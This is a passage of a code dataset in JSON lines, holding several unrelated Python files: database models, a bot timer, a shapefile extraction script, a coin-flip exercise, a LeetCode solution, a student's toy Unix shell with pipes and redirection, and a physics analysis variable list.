laptop\n# database user = should be your username on your laptop\ndb = PostgresqlDatabase('aug', user='jocc')\n\n\nclass BaseModel(Model):\n \"\"\"A base model that will use our Postgresql database\"\"\"\n class Meta:\n database = db\nclass CodecoolClass(BaseModel):\n location = CharField()\n year = CharField()\n\n def students(self):\n students = []\n for student in Student.select():\n students.append(student)\n return students\n\n def mentors(self):\n mentors = []\n for mentor in Mentor.select():\n mentors.append(mentor)\n return mentors\n\n\nclass Person(BaseModel):\n first_name = CharField()\n last_name = CharField()\n year_of_birth = DateField()\n gender = CharField()\n codecool_class = CharField()\n\nclass Mentor(Person):\n nickname = CharField()\n\nclass Student(Person):\n knowledge_level = CharField()\n energy_level = CharField()\n","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1033,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"393771660","text":"from .config import *\nimport datetime\nfrom .saltcoins import Coins\n\nclass Timers(object):\n def __init__(self):\n self.now = datetime.datetime.now()\n self.CoinsCurrentMin = self.now.minute\n self.betsCurrentMin = self.now.minute+2\n self.coins = Coins()\n\n def betTimer(self,mins=2):\n now = datetime.datetime.now()\n newMin = now.minute\n if self.betsCurrentMin < newMin:\n self.betsCurrentMin = newMin+2\n return False\n else:\n return True\n\n def minuteCoinsTimer(self):\n now = datetime.datetime.now()\n newMin = now.minute\n if self.CoinsCurrentMin < newMin:\n self.CoinsCurrentMin = newMin\n self.coins.timedCoins()","sub_path":"Scripts/Bot_1/Timers.py","file_name":"Timers.py","file_ext":"py","file_size_in_byte":744,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"474329430","text":"\"\"\"extract_shape_msa.py\n\nOutput one shapefile per MSA containing all the blockgroups it contains\n\"\"\"\nimport os\nimport csv\nimport fiona\n\n\n#\n# Import MSA to blockgroup crosswalk \n#\nmsa_to_bg = {}\nwith open('data/crosswalks/msa_blockgroup.csv', 'r') as source:\n reader = csv.reader(source, delimiter='\\t')\n reader.next()\n for rows in reader:\n msa = rows[0]\n bg = rows[1]\n if msa not in msa_to_bg:\n msa_to_bg[msa] = []\n msa_to_bg[msa].append(bg)\n\n\n#\n# Perform the extraction\n#\nfor msa in msa_to_bg:\n states = list(set([b[:2] for b in msa_to_bg[msa]]))\n\n ## Get all blockgroups\n all_bg = {}\n for st in states:\n with fiona.open('data/shp/state/%s/blockgroups.shp'%st, 'r',\n 'ESRI Shapefile') as source:\n source_crs = source.crs\n for f in source:\n all_bg[f['properties']['BKGPIDFP00']] = f['geometry']\n\n ## blockgroups within cbsa\n msa_bg = {bg: all_bg[bg] for bg in msa_to_bg[msa]}\n\n ## Save\n if not os.path.isdir('data/shp/msa/%s'%msa):\n os.mkdir('data/shp/msa/%s'%msa)\n\n schema = {'geometry': 'Polygon',\n 'properties': {'BKGPIDFP00': 'str'}}\n with fiona.open('data/shp/msa/%s/blockgroups.shp'%msa, 'w', \n 'ESRI Shapefile',\n crs = source_crs,\n schema = schema) as output:\n for bg in msa_bg:\n rec = {'geometry':msa_bg[bg], 'properties':{'BKGPIDFP00':bg}}\n output.write(rec)\n","sub_path":"bin/data_prep/extract_shape_msa.py","file_name":"extract_shape_msa.py","file_ext":"py","file_size_in_byte":1487,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"507456834","text":"__author__ = \"Jordan Lewallen\"\n__NetID__ = \"jlewallen18\"\n__GitHubID__ = \"jlewallen18\"\n\nimport random\n\nCardinality = 2\nNumberTrials = 1000\n\n#number of flips\n\nflips = 0\n\nTrialSequence = []\nfor TrialIndex in range(0, NumberTrials):\n TrialSequence.append(random.randrange(Cardinality))\n if ((TrialSequence.count(1)/float(NumberTrials)) < 0.75) == True:\n TrialSequence[flips] = 1\n else:\n TrialSequence[flips] = 0\n flips = flips + 1\n\nEmpiricalDistribution = []\nfor OutcomeIndex in range(0, Cardinality):\n EmpiricalDistribution.append(TrialSequence.count(OutcomeIndex) / float(NumberTrials))\nprint (EmpiricalDistribution)\n","sub_path":"Students/jlewallen18/3task.py","file_name":"3task.py","file_ext":"py","file_size_in_byte":644,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"41748654","text":"# title: nth-magical-number\n# detail: https://leetcode.com/submissions/detail/406511680/\n# datetime: Fri Oct 9 17:22:28 2020\n# runtime: 184 ms\n# memory: 17.9 MB\n\nclass Solution:\n def nthMagicalNumber(self, N: int, A: int, B: int) -> int:\n MOD = 10 ** 9 + 7\n if A == B:\n return (A * N) % MOD\n C = A * B // math.gcd(A, B)\n a = [A * i for i in range(1, C // A)]\n b = [B * i for i in range(1, C // B)]\n candidates = list(heapq.merge(a, b))\n candidates.append(C)\n q, r = divmod(N - 1, len(candidates))\n return (candidates[r] + C * q % MOD) % MOD\n ","sub_path":"leetcode/nth-magical-number/406511680.py","file_name":"406511680.py","file_ext":"py","file_size_in_byte":631,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"602930577","text":"#! /usr/bin/env python3\n\nimport os, sys, re #Adding the libraries that we'll need\n#methods\ndef tasks(parm):\n #print(parm)\n if '>' in parm:\n args = parm\n args.remove('>')\n os.close(1) # redirect child's stdout\n sys.stdout = open(args[1], \"w\")\n os.set_inheritable(1, True)\n args = [args[0]]\n for dir in re.split(\":\", os.environ['PATH']): # try each directory in path\n program = \"%s/%s\" % (dir, args[0])\n try:\n os.execve(program, args, os.environ) # try to exec program\n except FileNotFoundError: # ...expected\n pass # ...fail quietly \n\n #os.write(2, (\"Child: Error: Could not exec %s\\n\" % args[0]).encode())\n sys.exit(1) \n \n else: \n args = parm\n if '<' in args:\n args.remove('<')\n if '|' in args:\n args.remove('|') \n for dir in re.split(\":\", os.environ['PATH']): # try each directory in the path\n program = \"%s/%s\" % (dir, args[0])\n #os.write(1, (\"Child: ...trying to exec %s\\n\" % program).encode())\n try:\n os.execve(program, args, os.environ) # try to exec program\n except FileNotFoundError: # ...expected\n pass\n if args[0] == \"cd\":\n pass\n else:\n print(args[0]+\" : command not found\") \n sys.exit(1) \n#-------------------------------------------------------------\n#An infinite loop that will act as a Shell and will take commands\nwhile 1:\n try:\n userInput = input().split()\n except EOFError:\n sys.exit(1) \n if 'cd' in userInput:\n if 'cd' in userInput[0]:\n if '..' in userInput[1]:\n old_place = os.getcwd().split('/')\n new_place = '/'.join(old_place[0:len(old_place)-1])\n os.chdir(new_place)\n else:\n old_place = os.getcwd().split('/')\n old_place.append(userInput[1])\n new_place = '/'.join(old_place[0:len(old_place) + 1])\n os.chdir(new_place)\n else:\n print(userInput[0] +': this is not valid') \n elif 'exit' in userInput:\n print(\"Bye.....:)\")\n sys.exit(1)\n \n \n elif '|' in userInput:\n pid = os.getpid()\n args = userInput\n index = args.index('|')\n r,w = os.pipe() # get the read and write fd\n for f in (r, w):\n os.set_inheritable(f, True)\n #print(\"pipe fds: pr=%d, pw=%d\" % (r, w))\n #print(\"About to fork (pid=%d)\" % pid)\n rc = os.fork() #first fork created for the second command.\n if rc < 0:\n #print(\"fork failed, returning %d\\n\" % rc, file=sys.stderr)\n sys.exit(1)\n elif rc == 0: # child - will write to pipe\n #print(\"Child: My pid==%d. Parent's pid=%d\" % (os.getpid(), pid), file=sys.stderr)\n os.close(r) # redirect child's stdout\n os.dup2(w,1)\n tasks(userInput[:index]) \n else: \n rc2 = os.fork() # second fork is created for the second command.\n if rc2 == 0:#print(\"Parent: My pid==%d. Child's pid=%d\" % (os.getpid(), rc), file=sys.stderr)\n os.close(w) #here will start the redirected output\n os.dup2(r,0)\n tasks(userInput[index:])\n os.waitpid(rc,0)\n os.close(w)\n os.waitpid(rc2,0) \n \n else:\n pid = os.getpid()\n #os.write(1, (\"About to fork (pid:%d)\\n\" % pid).encode())\n rc = os.fork()\n\n if rc < 0:\n #os.write(2, (\"fork failed, returning %d\\n\" % rc).encode())\n sys.exit(1)\n \n elif rc == 0: # child\n #os.write(1, (\"I am child. My pid==%d. Parent's pid=%d\\n\" % (os.getpid(), pid)).encode())\n tasks(userInput)\n \n else: # parent (forked ok)\n #os.write(1, (\"I am parent. My pid=%d. Child's pid=%d\\n\" % (pid, rc)).encode())\n childPidCode = os.wait()\n #os.write(1, (\"Parent: Child %d terminated with exit code %d\\n\" % childPidCode).encode()) \n \n ","sub_path":"Os_notes/myShell.py","file_name":"myShell.py","file_ext":"py","file_size_in_byte":3904,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"412379478","text":"import copy \n#regions=[\"SR_1b\", \"SR_2b\", \"ZeeCR_2b\", \"ZeeCR_1b\", \"ZmumuCR_2b\", \"ZmumuCR_1b\", \"TopenuCR_2b\", \"TopenuCR_1b\", \"TopmunuCR_2b\", \"TopmunuCR_1b\", \"WenuCR_2b\", \"WenuCR_1b\", \"WmunuCR_2b\", \"WmunuCR_1b\"]\nregions=[\"SR_1b\", \"SR_2b\", \"ZeeCR_3j\", \"ZmumuCR_3j\", \"TopenuCR_2b\", \"TopmunuCR_2b\", \"WenuCR_1b\", \"WmunuCR_1b\",\"ZeeCR_2j\",\"ZmumuCR_2j\"]\n\nvardict={\"metpt\":\"MET\",\n \"metphi\":\"METPhi\",\n \"jetpt0\":\"Jet1Pt\",\n \"jetpt1\":\"Jet2Pt\",\n \"jeteta0\":\"Jet1Eta\",\n \"jeteta1\":\"Jet2Eta\",\n \"jetphi0\":\"Jet1Phi\",\n \"jetphi1\":\"Jet2Phi\",\n \"csv0\":\"Jet1deepCSV\",\n \"csv1\":\"Jet2deepCSV\",\n \n \n \"recoil_Wmunu0\":\"Recoil\",\n \"recoil_Wenu0\":\"Recoil\",\n \"Zmumu_recoil\":\"Recoil\",\n \"Zee_recoil\":\"Recoil\",\n \"recoil_WmunuPhi0\":\"RecoilPhi\",\n \"recoil_WenuPhi0\":\"RecoilPhi\",\n \"Zee_recoilPhi\":\"RecoilPhi\",\n \"Zmumu_recoilPhi\":\"RecoilPhi\",\n \n \"nTrueInt\":\"nPV\",\n \n \"nJetLoose\":\"nJets\",\n \"nEleLoose\":\"NEle\",\n \n \"cts\":\"ctsValue\",\n \"nJetb\":\"nBJets\",\n \"pfpatCaloMETPt\":\"pfpatCaloMETPt\",\n \n #\"pfpatCaloMETPhi\":\"pfpatCaloMETPhi\",\n #\"pfTRKMETPt\":\"pfTRKMETPt\",\n #\"pfTRKMETPhi\":\"pfTRKMETPhi\",\n \n \"nMuLoose\":\"NMu\",\n \"ntau\":\"NTau\",\n \"npho\":\"nPho\",\n \"min_dphi_jet_met\":\"min_dPhi\",\n \n \"mupt0\":\"lep1_pT\",\n \"mupt1\":\"lep2_pT\",\n \"mueta0\":\"lep1_eta\",\n \"mueta1\":\"lep2_eta\",\n \n \"elept0\":\"lep1_pT\",\n \"elept1\":\"lep2_pT\",\n \"eleeta0\":\"lep1_eta\",\n \"eleeta1\":\"lep2_eta\",\n \n \"mt_Wmunu0\":\"Wmass\",\n \"mt_Wenu0\":\"Wmass\",\n \"pt_Wmunu0\":\"WpT\",\n \"pt_Wenu0\":\"WpT\",\n \"Zee_mass\":\"Zmass\",\n \"Zmumu_mass\":\"Zmass\",\n \"Zmumu_pt\":\"ZpT\",\n \"Zee_pt\":\"ZpT\"\n}\n\n\nvariables_common={\"SR_1b\":[\"metpt\", \"metphi\", \"jetpt0\", \"jeteta0\", \"csv0\", \"jetphi0\",\"nTrueInt\", \"nJetLoose\", \"nEleLoose\", \"min_dphi_jet_met\",\"nMuLoose\",\"ntau\", \"npho\"]}\n\nfor ireg in regions:\n variables_common[ireg] = copy.deepcopy(variables_common[\"SR_1b\"])\n\n\nsr_2b=[\"csv1\",\"jetpt1\",\"jeteta1\",\"jetphi1\",\"cts\"]\nvariables_common[\"SR_2b\"] = variables_common[\"SR_2b\"] + sr_2b\n\n\nZeeCR_2b=[\"elept0\",\"elept1\",\"eleeta0\",\"eleeta1\",\"Zee_mass\",\"Zee_pt\",\"Zee_recoil\"]\nvariables_common[\"ZeeCR_3j\"] = variables_common[\"ZeeCR_3j\"] + sr_2b + ZeeCR_2b\n\nZmumuCR_2b=[\"mupt0\",\"mupt1\",\"mueta0\",\"mueta1\",\"Zmumu_mass\",\"Zmumu_pt\",\"Zmumu_recoil\"]\nvariables_common[\"ZmumuCR_3j\"] = variables_common[\"ZmumuCR_3j\"] + sr_2b + ZmumuCR_2b\n\nZeeCR_1b = variables_common[\"ZeeCR_2j\"] + ZeeCR_2b ## electron variables will be same\nZmumuCR_1b = variables_common[\"ZmumuCR_2j\"] + ZmumuCR_2b ## muon variables will be same\n\n\nTopenuCR_2b=[\"elept0\",\"eleeta0\",\"mt_Wenu0\",\"recoil_Wenu0\"]\nvariables_common[\"TopenuCR_2b\"] = variables_common[\"TopenuCR_2b\"] + TopenuCR_2b + sr_2b\n\nTopmunuCR_2b=[\"mupt0\", \"mueta0\", \"mt_Wmunu0\", \"recoil_Wmunu0\"]\nvariables_common[\"TopmunuCR_2b\"] = variables_common[\"TopmunuCR_2b\"] + TopmunuCR_2b + sr_2b\n\nWenuCR_1b=variables_common[\"WenuCR_1b\"] + TopenuCR_2b\nWmunuCR_1b=variables_common[\"WmunuCR_1b\"] + TopmunuCR_2b\n\n\n#variables_common[\"SR_2b\"].append(\"csv1\")\n#variables_common[\"SR_2b\"].append(\"jetpt1\")\n#variables_common[\"SR_2b\"].append(\"jeteta1\")\n\n","sub_path":"variables.py","file_name":"variables.py","file_ext":"py","file_size_in_byte":3361,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"}